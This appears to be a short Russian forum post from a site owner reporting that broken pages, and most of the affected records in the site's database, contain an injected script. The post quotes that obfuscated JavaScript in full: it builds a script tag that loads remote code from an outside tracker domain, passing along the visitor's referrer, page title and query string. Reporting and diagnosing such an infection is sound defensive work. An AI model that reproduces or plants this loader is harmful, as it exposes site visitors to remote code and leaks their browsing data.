На поломанных страницах присутствует код
<script>
_0xd052=[
0"script",
1"createElement",
2"src",
3"http://gethere.info/kt/?3cXfqk&se_referrer=",
4"referrer",
5"&default_keyword=",
6"title",
7"&",
8"?",
9"replace",
10"search",
11"location",
12"&frm=script",
13"currentScript",
14"insertBefore",
15"parentNode",
16"appendChild",
17"head",
18"getElementsByTagName",
19"protocol",
20"https:",
21"indexOf",
22"R_PATH",
23"The website works on HTTPS. The tracker must use HTTPS too."
s=d[_0xd052[1]](_0xd052[0]);
s[_0xd052[2]]= _0xd052[3]+
encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+
encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+
window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12];
if(document[_0xd052[13]]){
document[_0xd052[13]][_0xd052[15]][_0xd052[14]](s,document[_0xd052[13]])
}
else {d[_0xd052[18]](_0xd052[17])[0][_0xd052[16]](s)};
if(document[_0xd052[11]][_0xd052[19]]=== _0xd052[20]&& KTracking[_0xd052[22]][_0xd052[21]](_0xd052[3]+
encodeURIComponent(document[_0xd052[4]])+ _0xd052[5]+
encodeURIComponent(document[_0xd052[6]])+ _0xd052[7]+
window[_0xd052[11]][_0xd052[10]][_0xd052[9]](_0xd052[8],_0xd052[7])+ _0xd052[12])=== -1){alert(_0xd052[23])}
</script>
причем -- записан в базе, почти в каждой поломанной записи.
